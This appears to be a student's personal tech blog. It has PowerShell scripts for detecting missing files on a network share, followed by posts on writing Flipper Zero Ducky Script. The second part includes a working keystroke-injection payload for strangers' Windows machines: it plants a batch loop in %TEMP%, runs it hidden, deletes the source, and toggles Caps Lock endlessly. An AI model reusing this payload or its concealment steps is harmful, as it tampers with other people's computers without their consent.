Tuesday, September 24, 2024

2024-09-23 - File Monitoring Powershell (.ps1) script

     In short, I have an Ubuntu file server, connected to a windows desktop, through SMB protocol, so the directories can be viewed as you do on a windows computer. For some reason files seem to disappear from the file server in a particular folder, which I frequent so I know I unwittingly delete things. I wrote a PowerShell script to check this folder for me and check what all the files are in the folder and remember them in a list formed by the script, to then be compared to and updated each time the script runs and specifically tell me when files are missing. The script will create a list of the files and then compare that list to the current contents of the folder each time it runs, alerting me if any files are missing.

    I was going to make it a .bat script, but PowerShell has built in functions that would make it easier. And I had to modify my plan so that I would have two scripts, one to create the list of file contents recursively, and a second script that will check that list against the folder contents later. If I want to update the list I have to re-run the first script. That is just it's current iteration though. Perhaps there is a way to get it to run off one script but I don't know, this was just my instructors suggestion on the matter. 

    The first script I wrote is here:

# Script: CreateFileList.ps1


# Open a dialog box for folder selection

Add-Type -AssemblyName System.Windows.Forms

$folder = [System.Windows.Forms.FolderBrowserDialog]::new()

$null = $folder.ShowDialog()


# Get the selected folder path

$selectedPath = $folder.SelectedPath


# Check if a folder was selected

if (-not [string]::IsNullOrEmpty($selectedPath)) {

    # Define the output CSV file

    $csvFile = "file_list.csv"

    

    # Get the list of all files and folders recursively

    $fileList = Get-ChildItem -Path $selectedPath -Recurse | Select-Object FullName


    # Export the list to a CSV file

    $fileList | Export-Csv -Path $csvFile -NoTypeInformation


    Write-Host "File list created and saved to $csvFile"

} else {

    Write-Host "No folder selected."

}

The second script is here:

# Script: CheckForMissingFiles.ps1


# Open a dialog box for folder selection

Add-Type -AssemblyName System.Windows.Forms

$folder = [System.Windows.Forms.FolderBrowserDialog]::new()

$null = $folder.ShowDialog()


# Get the selected folder path

$selectedPath = $folder.SelectedPath


# Check if a folder was selected

if (-not [string]::IsNullOrEmpty($selectedPath)) {

    # Define the path to the CSV file

    $csvFile = "file_list.csv"

    

    # Check if the CSV file exists

    if (-not (Test-Path $csvFile)) {

        Write-Host "CSV file not found. Please run the script to create the file list first."

        exit

    }


    # Import the original file list from the CSV

    $originalList = Import-Csv -Path $csvFile | Select-Object -ExpandProperty FullName


    # Get the current list of files and folders recursively

    $currentList = Get-ChildItem -Path $selectedPath -Recurse | Select-Object -ExpandProperty FullName


    # Compare the original list with the current list

    $missingFiles = $originalList | Where-Object { $_ -notin $currentList }


    if ($missingFiles) {

        Write-Host "The following files/folders are missing:"

        $missingFiles

    } else {

        Write-Host "No files/folders are missing."

    }

} else {

    Write-Host "No folder selected."

}

I tested the script. When you click it, you have to right-click on it and select to run in PowerShell, because left-clicking it just opens it for editing for reasons I don't yet understand. Then it will open a window that will have you specify what folder you want to take an account of and it will take a moment depending on the size of the folder and how many files it contains, but it will then export a .csv file that will show all the contents of the folder with full names and their file formats. 

    The second script when run didn't seem to produce any results. This is when my instructor was looking at it and checked the end of the second script and realized that it spits out the results but it isn't pausing at the end so I have any time to even register that results were given before they disappear. So we added a pause at the end. 

    So literally just like this for the end of the second script:

} else {

    Write-Host "No folder selected."

}


pause

That resulted in it leaving an open prompt window that now shows that there are many missing files, so technically the two scripts in conjunction with each other worked perfectly. And they work with a networked drive located on a Linux system, from a Windows PowerShell script. So that was a happy result. 

    The problem now is that when the second script compared the results against the .csv of the first script of the file contents where files seem to magically disappear all the time and I need to know which ones, the second script returned results for many missing files that I then went to check to see if they were gone and they were still there. What gives? However I did notice something. 

    A movie file I was supposedly missing but confirmed was not missing on my server was named: "Clint Eastwood Dollar Trilogy I A Fistful Of Dollars 1964 Clint Eastwood Marianne Koch José Calvo.mp4" while the name given to it by the first script which exports the .csv file calls it: "Clint Eastwood Dollar Trilogy I A Fistful Of Dollars 1964 Clint Eastwood Marianne Koch Jos? Calvo.mp4"

    Instead of the accent over the E in 'Jose Calvo', the script or the character base used to create the script didn't recognize it and put "Jos?" instead of Jose with the accent over the E, and so this was counted as one of the missing files from the original list. The second script saw the file with the accent over the letter E on this file and similar discrepancies in all other cases, it saw those correctly named files on the server but is not programmed to tell me that "hey, this file with the question mark wasn't found but one without it was found that was not included in the .csv file", and it also isn't programmed to know the difference. So it didn't see script 1's error with the question mark replacing the E with the accent and then script 2 returned the output saying that the file with the question mark couldn't be found. And it did the same with all other files that it found the same discrepancy with. 
    I emailed my instructor about it and then researched online if this was a problem with the first script not using UTF-8 or Unicode because I know from my A+ Fundamentals certification that ASCII only has like 128 characters or something like that but Unicode intentionally has millions and is still growing in order to accomodate every situation and I found that making this one change to have script 1 utilize Unicode was a very simple change. I added the change, so instead of the line in script 1 saying part way through the script:

    # Export the list to a CSV file

    $fileList | Export-Csv -Path $csvFile -NoTypeInformation

    Write-Host "File list created and saved to $csvFile" 

    It now instead says:

    # Export the list to a CSV file

    $fileList | Export-Csv -Path $csvFile -NoTypeInformation -Encoding UTF8

    Write-Host "File list created and saved to $csvFile"

    I made the change in class and tested it in front of Doug, my instructor, and it returned nothing, the result was blank. I threw up my hands in frustration like, "What is the problem now!?" 
    Before I could even fully express this thought, Doug said, "Oh look, it worked" or something like that and I thought he was being sarcastic and after expressing my frustration, he said, "No, it did work, look, no files were listed in the return, isn't that what we want--for nothing to be missing?"
    "Oh...it worked! I don't believe it!"
    And you can't know all the baggage behind this but I deal with a lot of frustration over various difficulties with things like this, so when Doug said, "And you figured out the problem and fixed it without any of my help", I realized what he was saying and was sort of elated. 
    This technically isn't the end of the story yet though because there are several changes I want to make to these scripts, potentially combining them if possible, configuring them so the second script doesn't require that the .csv from the first script be relocated to the folder in question in order to run the comparison properly, I would like to just specify that it's here and the folder in question is over there. And there are other changes I would like to make too. 

    Thursday 2024-09-26

    I went back into the second script today and made some changes so that the system opens a window and asks which folder I'd like an accounting of as well as as opening another window to specify where the .csv file is located. I changed it to the following:

# Script: CheckForMissingFiles.ps1

# Open a dialog box for folder selection
Add-Type -AssemblyName System.Windows.Forms
$folder = [System.Windows.Forms.FolderBrowserDialog]::new()
$null = $folder.ShowDialog()

# Get the selected folder path
$selectedPath = $folder.SelectedPath

# Check if a folder was selected
if (-not [string]::IsNullOrEmpty($selectedPath)) {
    # Open a dialog box to select the CSV file
    Add-Type -AssemblyName System.Windows.Forms
    $csvFileDialog = [System.Windows.Forms.OpenFileDialog]::new()
    $csvFileDialog.Filter = "CSV Files (*.csv)|*.csv"
    $null = $csvFileDialog.ShowDialog()

    # Get the selected CSV file path
    $csvFile = $csvFileDialog.FileName

    # Check if a CSV file was selected
    if (-not [string]::IsNullOrEmpty($csvFile)) {
    }

    # Import the original file list from the CSV with UTF-8 encoding
    $originalList = Import-Csv -Path $csvFile -Encoding UTF8 | Select-Object -ExpandProperty FullName

    # Get the current list of files and folders recursively
    $currentList = Get-ChildItem -Path $selectedPath -Recurse | Select-Object -ExpandProperty FullName

    # Compare the original list with the current list
    $missingFiles = $originalList | Where-Object { $_ -notin $currentList }

        if ($missingFiles) {
            Write-Host "The following files/folders are missing:"
            $missingFiles
        } else {
            Write-Host "No files/folders are missing."
        }
    } else {
        Write-Host "No CSV file selected."
    }
pause

I had to have Doug's help to make a few edits because it broke before it even reached the pause at the end of the script. I had a moment where I thought I deleted a curly que bracket and so I put what I thought I deleted back in and that was one of the things that broke the script. 
    I am now thinking of changing what the line at the end says which tells me that the script finished and no files were missing, and I had the idea to do something like ASCII art except this is Unicode I'm using PowerShell. So I am going to try to write the echo command on every line and create some sort of unmistakable image that when I see it, it will signal to be that I am done without any confusion. 


        Saturday 2024-10-19

        Remember how this all came around because I would occasionally discover files missing from folders I realized were usually commonly accessed folders? I had been thinking about what can be done to minimize the kind of traffic on folders or files that I definitely don't want deleted but due to high traffic, unwittingly get deleted by accident. And the solution for my mom was simple--that she not have write access to her own movies folder so she can't delete anything, and then to make it easier for me to put movies in her folder for her, I linked her movies directory in Linux to my movies directory so I can easily add things or whatever, but then I decided to just put her directory in mine and then relegate her access to just my movies and her movies, and by sharing our movie folders with each other I can eliminate unwanted, space hogging copies. And then the idea hit me: what if I put all of my files in a folder that I likewise will also not be accessing hardly ever except to put files into it, which is far rarer, nearly eliminating the traffic, and then in Windows, create shortcuts in the folder directly before it in the file path? 
    So I did this. It worked. Now I can access everything and if a shortcut gets deleted, it will still be annoying but at least I can keep track of it now with this file monitoring script file and then just go into the folder with all the actual files and grab another copy to make a shortcut with. 
    I had a moment where my heart fell through the floorboards when I opened a common file that also had common association with another file, and I dropped the secondary file into the program that runs all these files to see if the shortcut of the secondary file would still work and it did not. I then considered that since these secondary files are so incredibly small it's not a big deal to just bite the bullet and have redundant copies of those in the above folder of the file path, but then I realized the reason it wasn't working wasn't because the program couldn't open the file for the shortcut in the above folder, but rather because I had a bunch of computer errors that were annoying me, and had just rebooted, and since I seldom reboot unless I have to due to all the clockwork I have going on with my really stupid smart TV and AV receiver and my desktop and the slightest little thing will cause my smart tv to forget that I want my audio to come from my computer and simply play out of the speakers connected to the AV receiver and not my TV. All of that to say that the reason the secondary file shortcuts weren't working was all because of rebooting my PC, I had forgotten that I needed to log back in to SMB to access my file server. And there, it worked fine. 





















This has been Truncat3d 00000000111100010100110______________end of line


Thursday, September 5, 2024

2024-08-29 - Creating Ducky Scripts for Flipper Zero

 I bought a Flipper Zero, but this isn't going to be much of a talkative explanation about anything. This will be mostly technical. 

My instructor, Doug, says that if I can get the Flipper using Ducky script to open a .txt file on a windows computer then you can get it to do anything. I did already write two .bat scripts to keep on a jump drive that are meant for pranks, and they both utilize a .vbs script to keep them silent (invisible to the user) and also insert the .bet scripts into RAM so the jump drive can be removed. We are going to attempt to convert all this to Ducky script so that this can all be done through the Flipper Zero. 

I created a file with no text to put in the file but to get the Flipper to create a .txt on a windows computer in Ducky script, here is what you need to write:

DELAY 500

GUI r

DELAY 300

STRING notepad

ENTER

DELAY 500

STRING This is a test file created by Flipper Zero.

DELAY 500

CTRL s

DELAY 500

STRING C:\Users\%USERNAME%\Desktop\flipper_output.txt

ENTER

DELAY 500

ALT f4

 So to explain what these commands do in Ducky script, the DELAY commands are necessary so that commands have time to finish executing before the next one is carried out. GUI is the command for pressing the windows key through the keyboard since the Flipper is acting like an HID device (keyboard). So GUI r means WINDOWS RUN which will bring up the Windows Run dialogue box. Next we have STRING notepad, this command tells the Flipper to write in the selected field the word NOTEPAD. ENTER obviously tells the Flipper to press the enter button, executing the command. When the file opens, we have another STRING command. This time the selected field is notepad itself and whatever you type after the word STRING, that will be typed by the Flipper into notepad on the windows computer as if you were typing it yourself on the keyboard. CTRL s simply tells the Flipper to save the notepad file on the windows computer. "STRING C:\Users\%USERNAME%\Desktop\flipper_output.txt" tells the Flipper to type the file path and name of the file into the save as field. So I did not know that you could dictate the file path from the file name line followed by the filename so you wouldn't have to type more than one thing. Cool! And just so you know, %USERNAME% is an environment variable. So you don't need to know the username, you can simply type %USERNAME% in the string and the Windows computer will assume that whatever the user is, to select that file path. ENTER clicks the save button. ALT f4 is the keyboard shortcut in Windows for closing the selected windows (program or folder), which in this case is closing notepad. 

GUI r               # Opens the Run dialog

STRING notepad       # Types "notepad" to launch Notepad

ENTER               # Opens Notepad

DELAY 500           # Waits for Notepad to open

STRING This is a test file created by Flipper Zero.  # Types text into Notepad

CTRL s              # Simulates Ctrl + S to open the Save dialog

DELAY 500           # Waits for the Save dialog to appear

STRING C:\Users\%USERNAME%\Desktop\flipper_output.txt  # Types the file path and name

ENTER               # Saves the file on the Desktop

DELAY 500           # Ensures the file is saved

ALT f4              # Closes Notepad 

    Now if you want to run .bat files on the windows computer through Ducky script off the Flipper, then there are two ways to do this. First you can use the method above to have the Flipper write in notepad a file and save it to then be run, or the second method which I prefer, is to have the Flipper open either command prompt or PowerShell to then run the commands from there without saving a file to the computer.  


    Thursday 2024-09-12 update 

My classmate, Pierce, wants a Flipper Zero badly, but he doesn't have the money for one. I thought zI might fan the flame to get him to want to buy one by letting him play with mine and the benefit for me is that he helps me to create Ducky scripts for the Flipper. So most of the time when I pull it out he will forgo other projects and work on it, in fact all last weekend he worked on it for hours at a time trying to figure out how to convert into Ducky script the CAPS LOCK EVERY FIVE SECONDS prank script Doug and I wrote together with parts in .bat and another part in .vbs. It uses both because of two problems, which will haunt us. 

    It needs to run without the source file so it can be stored on a thumb drive, activated on someone else's computer, and you can run away with the thumb drive and it will keep turning caps lock on and off every five seconds until they figure out how to cancel it. It's not hard to cancel, you just need to reboot or open task manager and under BACKGROUND PROCESSE< end the task WINDOWS COMMAND PROCESSER. So you need to use the line in .vbs: 

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False. 

    CreateObject("Wscript.Shell") creates an instance of Wscript.shell so that it runs without the source file and WScript.Arguments(0) & """", 0, False says that it needs to run silently or rather, without a command prompt window. Because it negates the point of the prank if the user sees this caps lock loop running in a command line window and to stop it they can simply close the prompt and the process is ended. 

    We worked today for hours to try and figure out how to convert this into Ducky script. Here's the problem, it all can technically be multiple scripts written in one ducky script because the flipper acts as a keyboard, which when connected to the host computer, and the code is injected, it will open a run window in Windows with the command:

GUI r

And then it'll specify to use powershell, string, and then write the lines of code that powerhell will deduce is .bat, and each line of code is separated with a semicolon so it knows how to differentiate between separate commands on different lines that are all wrotten in one line in the run window. The run window allows us to avoid opening the powershell window so that it runs in the background, however the problem we run into here is that you can't run .vbs commands in the run window. And when Doug and I were writing the .bat script for the caps lock prank script, we were trying to figure out how to make this run in the background. We tried and tried and tried for weeks to get .bat to run the window in the background. We couldn't figure out how to do this. At this point it was probably back in January or March so I don't remember much about what we did. But I eventually learned that while this is either really hard to do or impossible in .bat, we started to have another problem as well, once the thumb drive is removed, the script stops running and hilariously, it starts running again when the drive is plugged back in. So we tried to solve both problems and this was extremely challenging. 

    I had eventually asked Doug what he did after learning that other computer languages ran in the background much more easily than .bat does. Since I had been programming the weather display in python, and python turned out to be one of the many languages that runs in the background easily, Doug told me that there is one huge problem with this, python is not natively installed on all windows machines, rendering this method useless because in order to pull a prank on anyone you wish, it has to be in a language that everyone's windows computer can run. You have to install Python in order for this to work. 

    I toyed with the idea of having the script install Python at the beginning of the script, or a separate script that does so, so that the other scripts can run in python. But I think you need permissions to do this, so that's out. Doug helped me and we discovered multiple times through multiple methods, including stackoverflow.com, that the only way to run invisibly is to write a .vbs script that makes it run in the background, and around this time Doug parted with the information that he wrote all his prank scripts in .vbs but that it would be really hard for me to do. And another problem is that if I take on projects in .vbs, no one is hiring for that, so it'd be a waste of effort. But we wrote the separate .vbs script creating the object Wscipt.shell and giving zero arguments so that it would not open a window, but creating this object would temporarily allow it to run without eh source file. 

    In Ducky script, you can tell it all in one script to write multiple scripts, and even define different languages, you just have tow rite everything in Ducky syntax with the addition of the code to be written on the host computer in the other program languages with their proper syntax, since Ducky is only telling the Flipper to write it, it doesn't actually know what these commands are, it doesn't need to know what they are doing or even how to interpret the language. The host computer will do all that, the Flipper just needs to write it. And Ducky actually looks pretty straightforward to write in. From what little I know, the Syntax is kind of minimal and clean looking. And it has the added bebenfit that you can simply write it as a .txt and save it on the Flipper. The Flipper will run it in Ducky, no special Ducky extension required. 

    But since the run window cannot run .vbs, we now have to solve this problem all over again if we want to run all these prank scripts from the Flipper. Obviously this isn't crucial. I have a thumb drive and the original scripts for these pranks Doug and I created on the thumb drive and I can simply roll up to a computer and activate said scripts and run away. But the cool thing about having a Flipper Zero is that it is built for this, and you can keep it in your pocket all the time. It acts as a remote, a hacking device, a thumb drive with keyboard functionality, I can use it to insert usernames and passwords into foreign computers without having to go through the trouble of holding my phone with Bitwarden running in one hand and typing the password and username in another computer, I can simply plug in and as long as I write the script properly, it will enter the username and password without issue. There are so many cool things that it does and I want to take advantage of all of them. I paid nearly $200 for this thing so I want to get as much out of it as I can, and the reason I paid that money is so that I could use these cool methods and learn how to program it so that it will do what I want, which sounded cool and I felt would also make me more employable. 

    So far, the thumb drive scripts are made up of three scripts, one activation script in .bat, the actual ccaps lock every five seconds script in .bat, and then the .vbs which hides it and runs it in the background. 

    Doug had Pierce and I figure out how to get Ducky to open notepad and write out the script and then save it, which is where I learned a week or two ago that it can name and save the file where you want it all from the filename line in the save as window. So we successfully got it to do that and Doug was now satisfied that since we could do that, we can just copy and paste any script into the existing template that opens run, which opens notepad, and then saves it where we want it, and then runs it. 

    I had a problem with this. It's a prank script. And to leave it on someone computer runs the risk of them finding it and being able to use it for free without going through all the effort I am going through. I prefer to keep it for myself unless I decide to share it, which I will do easily, I just want it to be my choice to do so. And also, I hate the idea of leaving a file on a host computer which may or may not cause problems later. If you do this prank again to the same person on the same computer, it may try to write the file just for the computer to say this file already exists, would you like to overwrite it and the script won't have that programmed in by default and on purpose because it will not be necessary on any computer that it hasn't been run on before. To add this step just in case may run the risk of the computer accidentally misinterpreting that extra command to yes, please overwrite and instead perhaps changes something else when the computer does not ask if you want to overwrite a file. 

    So we spent much of last night trying to figure out how to get .bat to hide the file and run it in the background. We wanted to run everything from the run window because then it activates the script without opening a permanent window and it can run .bat. The computer can also run power shell, which I think is .ps1 or .ps or something like that, I forgot, it has been a few months since I needed to know this for an exam. The computer can run .vbs but not from the run window and also Doug warned that employers are not hiring for this anymore since it is an outdated language I guess.    

    I scoured stackoverflow.com for other answers but everybody that answered the question about hiding the shell window or running in the background all said you needed .vbs. I stopped and thought for a minute, if .vbs is still the only one that can do this, then is it really that outdated? A little while later, Doug reminded us that we could either write a command to do the notepad option and thenw rite a command that will then delete it once its no longer needed, or we can put it in a temp folder called:

%TEMP%

    So far, the Ducky script looks like this:

DEFAULT_DELAY 100

GUI R

STRING Notepad 

ENTER 

STRING @echo off

ENTER

STRING set "Toggle=0"

ENTER

STRING :loop

ENTER

STRING if %Toggle%==0 (

ENTER

TAB

STRING echo Turning Caps Lock on

ENTER

TAB

STRING set "Toggle=1"

ENTER

STRING ) else (

ENTER

TAB 

STRING echo Turning Caps Lock off

ENTER

TAB

STRING set "Toggle=0"

ENTER

STRING )

ENTER

STRING powershell -command "$wsh = New-Object -ComObject WScript.Shell; $wsh.SendKeys('{CAPSLOCK}')"

ENTER

STRING timeout /t 5 /nobreak >nul

ENTER

STRING goto :loop

CTRL S

STRING %TEMP%\CAPSLOCKAGAIN.bat

ENTER

GUI R

STRING powershell

ENTER 

STRING $batFileContent = Get-Content "$HOME\AppData\Local\Temp\CAPSLOCKAGAIN.bat"; $tempFile = [System.IO.Path]::GetTempPath() + 'script.bat'; Set-Content -Path $tempFile -Value $batFileContent; Start-Process -FilePath $tempFile -WindowStyle Hidden; Remove-Item "$HOME\AppData\Local\Temp\CAPSLOCKAGAIN.bat"

ENTER

    So in case this matters, Pierce's version he started working on last weekend is called CAPSLOCKAGAIN in order to differentiate it from mine which is unconverted to Ducky. 

    It does work but one of the problems we came across was that it once activated, there's no WINDOWS COMMAND PROCESSOR task to end in task manager under BACKGROUND PROCESSES. So there's no way we know of yet to end this prank without rebooting which can get to be too much trouble, especially when testing and you have to reboot all the time. These pranks were not meant to be so vicious. I would like to choose how vicious I get and the more vicious while not intending to be so, the more I feel obligated to let the victims of these pranks off the hook easily and make it up to them.  







2025-07-10 - BYU Wi‑Fi captive portal troubleshooting

  BYU Wi‑Fi Captive Portal Troubleshooting What happened I had used BYU Wi‑Fi just fine before, but at some point, the captive portal star...